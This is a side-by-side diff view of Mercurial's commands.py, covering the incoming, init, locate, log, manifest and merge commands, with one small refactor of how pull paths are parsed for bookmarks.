4298
4299 The action taken locally when pulling depends on the
4299 The action taken locally when pulling depends on the
4300 status of each bookmark:
4300 status of each bookmark:
4301
4301
4302 :``added``: pull will create it
4302 :``added``: pull will create it
4303 :``advanced``: pull will update it
4303 :``advanced``: pull will update it
4304 :``diverged``: pull will create a divergent bookmark
4304 :``diverged``: pull will create a divergent bookmark
4305 :``changed``: result depends on remote changesets
4305 :``changed``: result depends on remote changesets
4306
4306
4307 From the point of view of pulling behavior, bookmark
4307 From the point of view of pulling behavior, bookmark
4308 existing only in the remote repository are treated as ``added``,
4308 existing only in the remote repository are treated as ``added``,
4309 even if it is in fact locally deleted.
4309 even if it is in fact locally deleted.
4310
4310
4311 .. container:: verbose
4311 .. container:: verbose
4312
4312
4313 For remote repository, using --bundle avoids downloading the
4313 For remote repository, using --bundle avoids downloading the
4314 changesets twice if the incoming is followed by a pull.
4314 changesets twice if the incoming is followed by a pull.
4315
4315
4316 Examples:
4316 Examples:
4317
4317
4318 - show incoming changes with patches and full description::
4318 - show incoming changes with patches and full description::
4319
4319
4320 hg incoming -vp
4320 hg incoming -vp
4321
4321
4322 - show incoming changes excluding merges, store a bundle::
4322 - show incoming changes excluding merges, store a bundle::
4323
4323
4324 hg in -vpM --bundle incoming.hg
4324 hg in -vpM --bundle incoming.hg
4325 hg pull incoming.hg
4325 hg pull incoming.hg
4326
4326
4327 - briefly list changes inside a bundle::
4327 - briefly list changes inside a bundle::
4328
4328
4329 hg in changes.hg -T "{desc|firstline}\\n"
4329 hg in changes.hg -T "{desc|firstline}\\n"
4330
4330
4331 Returns 0 if there are incoming changes, 1 otherwise.
4331 Returns 0 if there are incoming changes, 1 otherwise.
4332 """
4332 """
4333 opts = pycompat.byteskwargs(opts)
4333 opts = pycompat.byteskwargs(opts)
4334 if opts.get(b'graph'):
4334 if opts.get(b'graph'):
4335 logcmdutil.checkunsupportedgraphflags([], opts)
4335 logcmdutil.checkunsupportedgraphflags([], opts)
4336
4336
4337 def display(other, chlist, displayer):
4337 def display(other, chlist, displayer):
4338 revdag = logcmdutil.graphrevs(other, chlist, opts)
4338 revdag = logcmdutil.graphrevs(other, chlist, opts)
4339 logcmdutil.displaygraph(
4339 logcmdutil.displaygraph(
4340 ui, repo, revdag, displayer, graphmod.asciiedges
4340 ui, repo, revdag, displayer, graphmod.asciiedges
4341 )
4341 )
4342
4342
4343 hg._incoming(display, lambda: 1, ui, repo, source, opts, buffered=True)
4343 hg._incoming(display, lambda: 1, ui, repo, source, opts, buffered=True)
4344 return 0
4344 return 0
4345
4345
4346 cmdutil.check_incompatible_arguments(opts, b'subrepos', [b'bundle'])
4346 cmdutil.check_incompatible_arguments(opts, b'subrepos', [b'bundle'])
4347
4347
4348 if opts.get(b'bookmarks'):
4348 if opts.get(b'bookmarks'):
4349 srcs = urlutil.get_pull_paths(repo, ui, [source], opts.get(b'branch'))
4349 srcs = urlutil.get_pull_paths(repo, ui, [source])
4350 for source, branches in srcs:
4350 for path in srcs:
4351 source, branches = urlutil.parseurl(
4352 path.rawloc, opts.get(b'branch')
4353 )
4351 other = hg.peer(repo, opts, source)
4354 other = hg.peer(repo, opts, source)
4352 try:
4355 try:
4353 if b'bookmarks' not in other.listkeys(b'namespaces'):
4356 if b'bookmarks' not in other.listkeys(b'namespaces'):
4354 ui.warn(_(b"remote doesn't support bookmarks\n"))
4357 ui.warn(_(b"remote doesn't support bookmarks\n"))
4355 return 0
4358 return 0
4356 ui.pager(b'incoming')
4359 ui.pager(b'incoming')
4357 ui.status(
4360 ui.status(
4358 _(b'comparing with %s\n') % urlutil.hidepassword(source)
4361 _(b'comparing with %s\n') % urlutil.hidepassword(source)
4359 )
4362 )
4360 return bookmarks.incoming(ui, repo, other)
4363 return bookmarks.incoming(ui, repo, other)
4361 finally:
4364 finally:
4362 other.close()
4365 other.close()
4363
4366
4364 return hg.incoming(ui, repo, source, opts)
4367 return hg.incoming(ui, repo, source, opts)
4365
4368
4366
4369
4367 @command(
4370 @command(
4368 b'init',
4371 b'init',
4369 remoteopts,
4372 remoteopts,
4370 _(b'[-e CMD] [--remotecmd CMD] [DEST]'),
4373 _(b'[-e CMD] [--remotecmd CMD] [DEST]'),
4371 helpcategory=command.CATEGORY_REPO_CREATION,
4374 helpcategory=command.CATEGORY_REPO_CREATION,
4372 helpbasic=True,
4375 helpbasic=True,
4373 norepo=True,
4376 norepo=True,
4374 )
4377 )
4375 def init(ui, dest=b".", **opts):
4378 def init(ui, dest=b".", **opts):
4376 """create a new repository in the given directory
4379 """create a new repository in the given directory
4377
4380
4378 Initialize a new repository in the given directory. If the given
4381 Initialize a new repository in the given directory. If the given
4379 directory does not exist, it will be created.
4382 directory does not exist, it will be created.
4380
4383
4381 If no directory is given, the current directory is used.
4384 If no directory is given, the current directory is used.
4382
4385
4383 It is possible to specify an ``ssh://`` URL as the destination.
4386 It is possible to specify an ``ssh://`` URL as the destination.
4384 See :hg:`help urls` for more information.
4387 See :hg:`help urls` for more information.
4385
4388
4386 Returns 0 on success.
4389 Returns 0 on success.
4387 """
4390 """
4388 opts = pycompat.byteskwargs(opts)
4391 opts = pycompat.byteskwargs(opts)
4389 path = urlutil.get_clone_path(ui, dest)[1]
4392 path = urlutil.get_clone_path(ui, dest)[1]
4390 peer = hg.peer(ui, opts, path, create=True)
4393 peer = hg.peer(ui, opts, path, create=True)
4391 peer.close()
4394 peer.close()
4392
4395
4393
4396
4394 @command(
4397 @command(
4395 b'locate',
4398 b'locate',
4396 [
4399 [
4397 (
4400 (
4398 b'r',
4401 b'r',
4399 b'rev',
4402 b'rev',
4400 b'',
4403 b'',
4401 _(b'search the repository as it is in REV'),
4404 _(b'search the repository as it is in REV'),
4402 _(b'REV'),
4405 _(b'REV'),
4403 ),
4406 ),
4404 (
4407 (
4405 b'0',
4408 b'0',
4406 b'print0',
4409 b'print0',
4407 None,
4410 None,
4408 _(b'end filenames with NUL, for use with xargs'),
4411 _(b'end filenames with NUL, for use with xargs'),
4409 ),
4412 ),
4410 (
4413 (
4411 b'f',
4414 b'f',
4412 b'fullpath',
4415 b'fullpath',
4413 None,
4416 None,
4414 _(b'print complete paths from the filesystem root'),
4417 _(b'print complete paths from the filesystem root'),
4415 ),
4418 ),
4416 ]
4419 ]
4417 + walkopts,
4420 + walkopts,
4418 _(b'[OPTION]... [PATTERN]...'),
4421 _(b'[OPTION]... [PATTERN]...'),
4419 helpcategory=command.CATEGORY_WORKING_DIRECTORY,
4422 helpcategory=command.CATEGORY_WORKING_DIRECTORY,
4420 )
4423 )
4421 def locate(ui, repo, *pats, **opts):
4424 def locate(ui, repo, *pats, **opts):
4422 """locate files matching specific patterns (DEPRECATED)
4425 """locate files matching specific patterns (DEPRECATED)
4423
4426
4424 Print files under Mercurial control in the working directory whose
4427 Print files under Mercurial control in the working directory whose
4425 names match the given patterns.
4428 names match the given patterns.
4426
4429
4427 By default, this command searches all directories in the working
4430 By default, this command searches all directories in the working
4428 directory. To search just the current directory and its
4431 directory. To search just the current directory and its
4429 subdirectories, use "--include .".
4432 subdirectories, use "--include .".
4430
4433
4431 If no patterns are given to match, this command prints the names
4434 If no patterns are given to match, this command prints the names
4432 of all files under Mercurial control in the working directory.
4435 of all files under Mercurial control in the working directory.
4433
4436
4434 If you want to feed the output of this command into the "xargs"
4437 If you want to feed the output of this command into the "xargs"
4435 command, use the -0 option to both this command and "xargs". This
4438 command, use the -0 option to both this command and "xargs". This
4436 will avoid the problem of "xargs" treating single filenames that
4439 will avoid the problem of "xargs" treating single filenames that
4437 contain whitespace as multiple filenames.
4440 contain whitespace as multiple filenames.
4438
4441
4439 See :hg:`help files` for a more versatile command.
4442 See :hg:`help files` for a more versatile command.
4440
4443
4441 Returns 0 if a match is found, 1 otherwise.
4444 Returns 0 if a match is found, 1 otherwise.
4442 """
4445 """
4443 opts = pycompat.byteskwargs(opts)
4446 opts = pycompat.byteskwargs(opts)
4444 if opts.get(b'print0'):
4447 if opts.get(b'print0'):
4445 end = b'\0'
4448 end = b'\0'
4446 else:
4449 else:
4447 end = b'\n'
4450 end = b'\n'
4448 ctx = logcmdutil.revsingle(repo, opts.get(b'rev'), None)
4451 ctx = logcmdutil.revsingle(repo, opts.get(b'rev'), None)
4449
4452
4450 ret = 1
4453 ret = 1
4451 m = scmutil.match(
4454 m = scmutil.match(
4452 ctx, pats, opts, default=b'relglob', badfn=lambda x, y: False
4455 ctx, pats, opts, default=b'relglob', badfn=lambda x, y: False
4453 )
4456 )
4454
4457
4455 ui.pager(b'locate')
4458 ui.pager(b'locate')
4456 if ctx.rev() is None:
4459 if ctx.rev() is None:
4457 # When run on the working copy, "locate" includes removed files, so
4460 # When run on the working copy, "locate" includes removed files, so
4458 # we get the list of files from the dirstate.
4461 # we get the list of files from the dirstate.
4459 filesgen = sorted(repo.dirstate.matches(m))
4462 filesgen = sorted(repo.dirstate.matches(m))
4460 else:
4463 else:
4461 filesgen = ctx.matches(m)
4464 filesgen = ctx.matches(m)
4462 uipathfn = scmutil.getuipathfn(repo, legacyrelativevalue=bool(pats))
4465 uipathfn = scmutil.getuipathfn(repo, legacyrelativevalue=bool(pats))
4463 for abs in filesgen:
4466 for abs in filesgen:
4464 if opts.get(b'fullpath'):
4467 if opts.get(b'fullpath'):
4465 ui.write(repo.wjoin(abs), end)
4468 ui.write(repo.wjoin(abs), end)
4466 else:
4469 else:
4467 ui.write(uipathfn(abs), end)
4470 ui.write(uipathfn(abs), end)
4468 ret = 0
4471 ret = 0
4469
4472
4470 return ret
4473 return ret
4471
4474
4472
4475
4473 @command(
4476 @command(
4474 b'log|history',
4477 b'log|history',
4475 [
4478 [
4476 (
4479 (
4477 b'f',
4480 b'f',
4478 b'follow',
4481 b'follow',
4479 None,
4482 None,
4480 _(
4483 _(
4481 b'follow changeset history, or file history across copies and renames'
4484 b'follow changeset history, or file history across copies and renames'
4482 ),
4485 ),
4483 ),
4486 ),
4484 (
4487 (
4485 b'',
4488 b'',
4486 b'follow-first',
4489 b'follow-first',
4487 None,
4490 None,
4488 _(b'only follow the first parent of merge changesets (DEPRECATED)'),
4491 _(b'only follow the first parent of merge changesets (DEPRECATED)'),
4489 ),
4492 ),
4490 (
4493 (
4491 b'd',
4494 b'd',
4492 b'date',
4495 b'date',
4493 b'',
4496 b'',
4494 _(b'show revisions matching date spec'),
4497 _(b'show revisions matching date spec'),
4495 _(b'DATE'),
4498 _(b'DATE'),
4496 ),
4499 ),
4497 (b'C', b'copies', None, _(b'show copied files')),
4500 (b'C', b'copies', None, _(b'show copied files')),
4498 (
4501 (
4499 b'k',
4502 b'k',
4500 b'keyword',
4503 b'keyword',
4501 [],
4504 [],
4502 _(b'do case-insensitive search for a given text'),
4505 _(b'do case-insensitive search for a given text'),
4503 _(b'TEXT'),
4506 _(b'TEXT'),
4504 ),
4507 ),
4505 (
4508 (
4506 b'r',
4509 b'r',
4507 b'rev',
4510 b'rev',
4508 [],
4511 [],
4509 _(b'revisions to select or follow from'),
4512 _(b'revisions to select or follow from'),
4510 _(b'REV'),
4513 _(b'REV'),
4511 ),
4514 ),
4512 (
4515 (
4513 b'L',
4516 b'L',
4514 b'line-range',
4517 b'line-range',
4515 [],
4518 [],
4516 _(b'follow line range of specified file (EXPERIMENTAL)'),
4519 _(b'follow line range of specified file (EXPERIMENTAL)'),
4517 _(b'FILE,RANGE'),
4520 _(b'FILE,RANGE'),
4518 ),
4521 ),
4519 (
4522 (
4520 b'',
4523 b'',
4521 b'removed',
4524 b'removed',
4522 None,
4525 None,
4523 _(b'include revisions where files were removed'),
4526 _(b'include revisions where files were removed'),
4524 ),
4527 ),
4525 (
4528 (
4526 b'm',
4529 b'm',
4527 b'only-merges',
4530 b'only-merges',
4528 None,
4531 None,
4529 _(b'show only merges (DEPRECATED) (use -r "merge()" instead)'),
4532 _(b'show only merges (DEPRECATED) (use -r "merge()" instead)'),
4530 ),
4533 ),
4531 (b'u', b'user', [], _(b'revisions committed by user'), _(b'USER')),
4534 (b'u', b'user', [], _(b'revisions committed by user'), _(b'USER')),
4532 (
4535 (
4533 b'',
4536 b'',
4534 b'only-branch',
4537 b'only-branch',
4535 [],
4538 [],
4536 _(
4539 _(
4537 b'show only changesets within the given named branch (DEPRECATED)'
4540 b'show only changesets within the given named branch (DEPRECATED)'
4538 ),
4541 ),
4539 _(b'BRANCH'),
4542 _(b'BRANCH'),
4540 ),
4543 ),
4541 (
4544 (
4542 b'b',
4545 b'b',
4543 b'branch',
4546 b'branch',
4544 [],
4547 [],
4545 _(b'show changesets within the given named branch'),
4548 _(b'show changesets within the given named branch'),
4546 _(b'BRANCH'),
4549 _(b'BRANCH'),
4547 ),
4550 ),
4548 (
4551 (
4549 b'B',
4552 b'B',
4550 b'bookmark',
4553 b'bookmark',
4551 [],
4554 [],
4552 _(b"show changesets within the given bookmark"),
4555 _(b"show changesets within the given bookmark"),
4553 _(b'BOOKMARK'),
4556 _(b'BOOKMARK'),
4554 ),
4557 ),
4555 (
4558 (
4556 b'P',
4559 b'P',
4557 b'prune',
4560 b'prune',
4558 [],
4561 [],
4559 _(b'do not display revision or any of its ancestors'),
4562 _(b'do not display revision or any of its ancestors'),
4560 _(b'REV'),
4563 _(b'REV'),
4561 ),
4564 ),
4562 ]
4565 ]
4563 + logopts
4566 + logopts
4564 + walkopts,
4567 + walkopts,
4565 _(b'[OPTION]... [FILE]'),
4568 _(b'[OPTION]... [FILE]'),
4566 helpcategory=command.CATEGORY_CHANGE_NAVIGATION,
4569 helpcategory=command.CATEGORY_CHANGE_NAVIGATION,
4567 helpbasic=True,
4570 helpbasic=True,
4568 inferrepo=True,
4571 inferrepo=True,
4569 intents={INTENT_READONLY},
4572 intents={INTENT_READONLY},
4570 )
4573 )
4571 def log(ui, repo, *pats, **opts):
4574 def log(ui, repo, *pats, **opts):
4572 """show revision history of entire repository or files
4575 """show revision history of entire repository or files
4573
4576
4574 Print the revision history of the specified files or the entire
4577 Print the revision history of the specified files or the entire
4575 project.
4578 project.
4576
4579
4577 If no revision range is specified, the default is ``tip:0`` unless
4580 If no revision range is specified, the default is ``tip:0`` unless
4578 --follow is set.
4581 --follow is set.
4579
4582
4580 File history is shown without following rename or copy history of
4583 File history is shown without following rename or copy history of
4581 files. Use -f/--follow with a filename to follow history across
4584 files. Use -f/--follow with a filename to follow history across
4582 renames and copies. --follow without a filename will only show
4585 renames and copies. --follow without a filename will only show
4583 ancestors of the starting revisions. The starting revisions can be
4586 ancestors of the starting revisions. The starting revisions can be
4584 specified by -r/--rev, which default to the working directory parent.
4587 specified by -r/--rev, which default to the working directory parent.
4585
4588
4586 By default this command prints revision number and changeset id,
4589 By default this command prints revision number and changeset id,
4587 tags, non-trivial parents, user, date and time, and a summary for
4590 tags, non-trivial parents, user, date and time, and a summary for
4588 each commit. When the -v/--verbose switch is used, the list of
4591 each commit. When the -v/--verbose switch is used, the list of
4589 changed files and full commit message are shown.
4592 changed files and full commit message are shown.
4590
4593
4591 With --graph the revisions are shown as an ASCII art DAG with the most
4594 With --graph the revisions are shown as an ASCII art DAG with the most
4592 recent changeset at the top.
4595 recent changeset at the top.
4593 'o' is a changeset, '@' is a working directory parent, '%' is a changeset
4596 'o' is a changeset, '@' is a working directory parent, '%' is a changeset
4594 involved in an unresolved merge conflict, '_' closes a branch,
4597 involved in an unresolved merge conflict, '_' closes a branch,
4595 'x' is obsolete, '*' is unstable, and '+' represents a fork where the
4598 'x' is obsolete, '*' is unstable, and '+' represents a fork where the
4596 changeset from the lines below is a parent of the 'o' merge on the same
4599 changeset from the lines below is a parent of the 'o' merge on the same
4597 line.
4600 line.
4598 Paths in the DAG are represented with '|', '/' and so forth. ':' in place
4601 Paths in the DAG are represented with '|', '/' and so forth. ':' in place
4599 of a '|' indicates one or more revisions in a path are omitted.
4602 of a '|' indicates one or more revisions in a path are omitted.
4600
4603
4601 .. container:: verbose
4604 .. container:: verbose
4602
4605
4603 Use -L/--line-range FILE,M:N options to follow the history of lines
4606 Use -L/--line-range FILE,M:N options to follow the history of lines
4604 from M to N in FILE. With -p/--patch only diff hunks affecting
4607 from M to N in FILE. With -p/--patch only diff hunks affecting
4605 specified line range will be shown. This option requires --follow;
4608 specified line range will be shown. This option requires --follow;
4606 it can be specified multiple times. Currently, this option is not
4609 it can be specified multiple times. Currently, this option is not
4607 compatible with --graph. This option is experimental.
4610 compatible with --graph. This option is experimental.
4608
4611
4609 .. note::
4612 .. note::
4610
4613
4611 :hg:`log --patch` may generate unexpected diff output for merge
4614 :hg:`log --patch` may generate unexpected diff output for merge
4612 changesets, as it will only compare the merge changeset against
4615 changesets, as it will only compare the merge changeset against
4613 its first parent. Also, only files different from BOTH parents
4616 its first parent. Also, only files different from BOTH parents
4614 will appear in files:.
4617 will appear in files:.
4615
4618
4616 .. note::
4619 .. note::
4617
4620
4618 For performance reasons, :hg:`log FILE` may omit duplicate changes
4621 For performance reasons, :hg:`log FILE` may omit duplicate changes
4619 made on branches and will not show removals or mode changes. To
4622 made on branches and will not show removals or mode changes. To
4620 see all such changes, use the --removed switch.
4623 see all such changes, use the --removed switch.
4621
4624
4622 .. container:: verbose
4625 .. container:: verbose
4623
4626
4624 .. note::
4627 .. note::
4625
4628
4626 The history resulting from -L/--line-range options depends on diff
4629 The history resulting from -L/--line-range options depends on diff
4627 options; for instance if white-spaces are ignored, respective changes
4630 options; for instance if white-spaces are ignored, respective changes
4628 with only white-spaces in specified line range will not be listed.
4631 with only white-spaces in specified line range will not be listed.
4629
4632
4630 .. container:: verbose
4633 .. container:: verbose
4631
4634
4632 Some examples:
4635 Some examples:
4633
4636
4634 - changesets with full descriptions and file lists::
4637 - changesets with full descriptions and file lists::
4635
4638
4636 hg log -v
4639 hg log -v
4637
4640
4638 - changesets ancestral to the working directory::
4641 - changesets ancestral to the working directory::
4639
4642
4640 hg log -f
4643 hg log -f
4641
4644
4642 - last 10 commits on the current branch::
4645 - last 10 commits on the current branch::
4643
4646
4644 hg log -l 10 -b .
4647 hg log -l 10 -b .
4645
4648
4646 - changesets showing all modifications of a file, including removals::
4649 - changesets showing all modifications of a file, including removals::
4647
4650
4648 hg log --removed file.c
4651 hg log --removed file.c
4649
4652
4650 - all changesets that touch a directory, with diffs, excluding merges::
4653 - all changesets that touch a directory, with diffs, excluding merges::
4651
4654
4652 hg log -Mp lib/
4655 hg log -Mp lib/
4653
4656
4654 - all revision numbers that match a keyword::
4657 - all revision numbers that match a keyword::
4655
4658
4656 hg log -k bug --template "{rev}\\n"
4659 hg log -k bug --template "{rev}\\n"
4657
4660
4658 - the full hash identifier of the working directory parent::
4661 - the full hash identifier of the working directory parent::
4659
4662
4660 hg log -r . --template "{node}\\n"
4663 hg log -r . --template "{node}\\n"
4661
4664
4662 - list available log templates::
4665 - list available log templates::
4663
4666
4664 hg log -T list
4667 hg log -T list
4665
4668
4666 - check if a given changeset is included in a tagged release::
4669 - check if a given changeset is included in a tagged release::
4667
4670
4668 hg log -r "a21ccf and ancestor(1.9)"
4671 hg log -r "a21ccf and ancestor(1.9)"
4669
4672
4670 - find all changesets by some user in a date range::
4673 - find all changesets by some user in a date range::
4671
4674
4672 hg log -k alice -d "may 2008 to jul 2008"
4675 hg log -k alice -d "may 2008 to jul 2008"
4673
4676
4674 - summary of all changesets after the last tag::
4677 - summary of all changesets after the last tag::
4675
4678
4676 hg log -r "last(tagged())::" --template "{desc|firstline}\\n"
4679 hg log -r "last(tagged())::" --template "{desc|firstline}\\n"
4677
4680
4678 - changesets touching lines 13 to 23 for file.c::
4681 - changesets touching lines 13 to 23 for file.c::
4679
4682
4680 hg log -L file.c,13:23
4683 hg log -L file.c,13:23
4681
4684
4682 - changesets touching lines 13 to 23 for file.c and lines 2 to 6 of
4685 - changesets touching lines 13 to 23 for file.c and lines 2 to 6 of
4683 main.c with patch::
4686 main.c with patch::
4684
4687
4685 hg log -L file.c,13:23 -L main.c,2:6 -p
4688 hg log -L file.c,13:23 -L main.c,2:6 -p
4686
4689
4687 See :hg:`help dates` for a list of formats valid for -d/--date.
4690 See :hg:`help dates` for a list of formats valid for -d/--date.
4688
4691
4689 See :hg:`help revisions` for more about specifying and ordering
4692 See :hg:`help revisions` for more about specifying and ordering
4690 revisions.
4693 revisions.
4691
4694
4692 See :hg:`help templates` for more about pre-packaged styles and
4695 See :hg:`help templates` for more about pre-packaged styles and
4693 specifying custom templates. The default template used by the log
4696 specifying custom templates. The default template used by the log
4694 command can be customized via the ``command-templates.log`` configuration
4697 command can be customized via the ``command-templates.log`` configuration
4695 setting.
4698 setting.
4696
4699
4697 Returns 0 on success.
4700 Returns 0 on success.
4698
4701
4699 """
4702 """
4700 opts = pycompat.byteskwargs(opts)
4703 opts = pycompat.byteskwargs(opts)
4701 linerange = opts.get(b'line_range')
4704 linerange = opts.get(b'line_range')
4702
4705
4703 if linerange and not opts.get(b'follow'):
4706 if linerange and not opts.get(b'follow'):
4704 raise error.InputError(_(b'--line-range requires --follow'))
4707 raise error.InputError(_(b'--line-range requires --follow'))
4705
4708
4706 if linerange and pats:
4709 if linerange and pats:
4707 # TODO: take pats as patterns with no line-range filter
4710 # TODO: take pats as patterns with no line-range filter
4708 raise error.InputError(
4711 raise error.InputError(
4709 _(b'FILE arguments are not compatible with --line-range option')
4712 _(b'FILE arguments are not compatible with --line-range option')
4710 )
4713 )
4711
4714
4712 repo = scmutil.unhidehashlikerevs(repo, opts.get(b'rev'), b'nowarn')
4715 repo = scmutil.unhidehashlikerevs(repo, opts.get(b'rev'), b'nowarn')
4713 walk_opts = logcmdutil.parseopts(ui, pats, opts)
4716 walk_opts = logcmdutil.parseopts(ui, pats, opts)
4714 revs, differ = logcmdutil.getrevs(repo, walk_opts)
4717 revs, differ = logcmdutil.getrevs(repo, walk_opts)
4715 if linerange:
4718 if linerange:
4716 # TODO: should follow file history from logcmdutil._initialrevs(),
4719 # TODO: should follow file history from logcmdutil._initialrevs(),
4717 # then filter the result by logcmdutil._makerevset() and --limit
4720 # then filter the result by logcmdutil._makerevset() and --limit
4718 revs, differ = logcmdutil.getlinerangerevs(repo, revs, opts)
4721 revs, differ = logcmdutil.getlinerangerevs(repo, revs, opts)
4719
4722
4720 getcopies = None
4723 getcopies = None
4721 if opts.get(b'copies'):
4724 if opts.get(b'copies'):
4722 endrev = None
4725 endrev = None
4723 if revs:
4726 if revs:
4724 endrev = revs.max() + 1
4727 endrev = revs.max() + 1
4725 getcopies = scmutil.getcopiesfn(repo, endrev=endrev)
4728 getcopies = scmutil.getcopiesfn(repo, endrev=endrev)
4726
4729
4727 ui.pager(b'log')
4730 ui.pager(b'log')
4728 displayer = logcmdutil.changesetdisplayer(
4731 displayer = logcmdutil.changesetdisplayer(
4729 ui, repo, opts, differ, buffered=True
4732 ui, repo, opts, differ, buffered=True
4730 )
4733 )
4731 if opts.get(b'graph'):
4734 if opts.get(b'graph'):
4732 displayfn = logcmdutil.displaygraphrevs
4735 displayfn = logcmdutil.displaygraphrevs
4733 else:
4736 else:
4734 displayfn = logcmdutil.displayrevs
4737 displayfn = logcmdutil.displayrevs
4735 displayfn(ui, repo, revs, displayer, getcopies)
4738 displayfn(ui, repo, revs, displayer, getcopies)
4736
4739
4737
4740
4738 @command(
4741 @command(
4739 b'manifest',
4742 b'manifest',
4740 [
4743 [
4741 (b'r', b'rev', b'', _(b'revision to display'), _(b'REV')),
4744 (b'r', b'rev', b'', _(b'revision to display'), _(b'REV')),
4742 (b'', b'all', False, _(b"list files from all revisions")),
4745 (b'', b'all', False, _(b"list files from all revisions")),
4743 ]
4746 ]
4744 + formatteropts,
4747 + formatteropts,
4745 _(b'[-r REV]'),
4748 _(b'[-r REV]'),
4746 helpcategory=command.CATEGORY_MAINTENANCE,
4749 helpcategory=command.CATEGORY_MAINTENANCE,
4747 intents={INTENT_READONLY},
4750 intents={INTENT_READONLY},
4748 )
4751 )
4749 def manifest(ui, repo, node=None, rev=None, **opts):
4752 def manifest(ui, repo, node=None, rev=None, **opts):
4750 """output the current or given revision of the project manifest
4753 """output the current or given revision of the project manifest
4751
4754
4752 Print a list of version controlled files for the given revision.
4755 Print a list of version controlled files for the given revision.
4753 If no revision is given, the first parent of the working directory
4756 If no revision is given, the first parent of the working directory
4754 is used, or the null revision if no revision is checked out.
4757 is used, or the null revision if no revision is checked out.
4755
4758
4756 With -v, print file permissions, symlink and executable bits.
4759 With -v, print file permissions, symlink and executable bits.
4757 With --debug, print file revision hashes.
4760 With --debug, print file revision hashes.
4758
4761
4759 If option --all is specified, the list of all files from all revisions
4762 If option --all is specified, the list of all files from all revisions
4760 is printed. This includes deleted and renamed files.
4763 is printed. This includes deleted and renamed files.
4761
4764
4762 Returns 0 on success.
4765 Returns 0 on success.
4763 """
4766 """
4764 opts = pycompat.byteskwargs(opts)
4767 opts = pycompat.byteskwargs(opts)
4765 fm = ui.formatter(b'manifest', opts)
4768 fm = ui.formatter(b'manifest', opts)
4766
4769
4767 if opts.get(b'all'):
4770 if opts.get(b'all'):
4768 if rev or node:
4771 if rev or node:
4769 raise error.InputError(_(b"can't specify a revision with --all"))
4772 raise error.InputError(_(b"can't specify a revision with --all"))
4770
4773
4771 res = set()
4774 res = set()
4772 for rev in repo:
4775 for rev in repo:
4773 ctx = repo[rev]
4776 ctx = repo[rev]
4774 res |= set(ctx.files())
4777 res |= set(ctx.files())
4775
4778
4776 ui.pager(b'manifest')
4779 ui.pager(b'manifest')
4777 for f in sorted(res):
4780 for f in sorted(res):
4778 fm.startitem()
4781 fm.startitem()
4779 fm.write(b"path", b'%s\n', f)
4782 fm.write(b"path", b'%s\n', f)
4780 fm.end()
4783 fm.end()
4781 return
4784 return
4782
4785
4783 if rev and node:
4786 if rev and node:
4784 raise error.InputError(_(b"please specify just one revision"))
4787 raise error.InputError(_(b"please specify just one revision"))
4785
4788
4786 if not node:
4789 if not node:
4787 node = rev
4790 node = rev
4788
4791
4789 char = {b'l': b'@', b'x': b'*', b'': b'', b't': b'd'}
4792 char = {b'l': b'@', b'x': b'*', b'': b'', b't': b'd'}
4790 mode = {b'l': b'644', b'x': b'755', b'': b'644', b't': b'755'}
4793 mode = {b'l': b'644', b'x': b'755', b'': b'644', b't': b'755'}
4791 if node:
4794 if node:
4792 repo = scmutil.unhidehashlikerevs(repo, [node], b'nowarn')
4795 repo = scmutil.unhidehashlikerevs(repo, [node], b'nowarn')
4793 ctx = logcmdutil.revsingle(repo, node)
4796 ctx = logcmdutil.revsingle(repo, node)
4794 mf = ctx.manifest()
4797 mf = ctx.manifest()
4795 ui.pager(b'manifest')
4798 ui.pager(b'manifest')
4796 for f in ctx:
4799 for f in ctx:
4797 fm.startitem()
4800 fm.startitem()
4798 fm.context(ctx=ctx)
4801 fm.context(ctx=ctx)
4799 fl = ctx[f].flags()
4802 fl = ctx[f].flags()
4800 fm.condwrite(ui.debugflag, b'hash', b'%s ', hex(mf[f]))
4803 fm.condwrite(ui.debugflag, b'hash', b'%s ', hex(mf[f]))
4801 fm.condwrite(ui.verbose, b'mode type', b'%s %1s ', mode[fl], char[fl])
4804 fm.condwrite(ui.verbose, b'mode type', b'%s %1s ', mode[fl], char[fl])
4802 fm.write(b'path', b'%s\n', f)
4805 fm.write(b'path', b'%s\n', f)
4803 fm.end()
4806 fm.end()
4804
4807
4805
4808
4806 @command(
4809 @command(
4807 b'merge',
4810 b'merge',
4808 [
4811 [
4809 (
4812 (
4810 b'f',
4813 b'f',
4811 b'force',
4814 b'force',
4812 None,
4815 None,
4813 _(b'force a merge including outstanding changes (DEPRECATED)'),
4816 _(b'force a merge including outstanding changes (DEPRECATED)'),
4814 ),
4817 ),
4815 (b'r', b'rev', b'', _(b'revision to merge'), _(b'REV')),
4818 (b'r', b'rev', b'', _(b'revision to merge'), _(b'REV')),
4816 (
4819 (
4817 b'P',
4820 b'P',
4818 b'preview',
4821 b'preview',
4819 None,
4822 None,
4820 _(b'review revisions to merge (no merge is performed)'),
4823 _(b'review revisions to merge (no merge is performed)'),
4821 ),
4824 ),
4822 (b'', b'abort', None, _(b'abort the ongoing merge')),
4825 (b'', b'abort', None, _(b'abort the ongoing merge')),
4823 ]
4826 ]
4824 + mergetoolopts,
4827 + mergetoolopts,
4825 _(b'[-P] [[-r] REV]'),
4828 _(b'[-P] [[-r] REV]'),
4826 helpcategory=command.CATEGORY_CHANGE_MANAGEMENT,
4829 helpcategory=command.CATEGORY_CHANGE_MANAGEMENT,
4827 helpbasic=True,
4830 helpbasic=True,
4828 )
4831 )
4829 def merge(ui, repo, node=None, **opts):
4832 def merge(ui, repo, node=None, **opts):
4830 """merge another revision into working directory
4833 """merge another revision into working directory
4831
4834
4832 The current working directory is updated with all changes made in
4835 The current working directory is updated with all changes made in
4833 the requested revision since the last common predecessor revision.
4836 the requested revision since the last common predecessor revision.
4834
4837
4835 Files that changed between either parent are marked as changed for
4838 Files that changed between either parent are marked as changed for
4836 the next commit and a commit must be performed before any further
4839 the next commit and a commit must be performed before any further
4837 updates to the repository are allowed. The next commit will have
4840 updates to the repository are allowed. The next commit will have
4838 two parents.
4841 two parents.
4839
4842
4840 ``--tool`` can be used to specify the merge tool used for file
4843 ``--tool`` can be used to specify the merge tool used for file
4841 merges. It overrides the HGMERGE environment variable and your
4844 merges. It overrides the HGMERGE environment variable and your
4842 configuration files. See :hg:`help merge-tools` for options.
4845 configuration files. See :hg:`help merge-tools` for options.
4843
4846
4844 If no revision is specified, the working directory's parent is a
4847 If no revision is specified, the working directory's parent is a
4845 head revision, and the current branch contains exactly one other
4848 head revision, and the current branch contains exactly one other
4846 head, the other head is merged with by default. Otherwise, an
4849 head, the other head is merged with by default. Otherwise, an
4847 explicit revision with which to merge must be provided.
4850 explicit revision with which to merge must be provided.
4848
4851
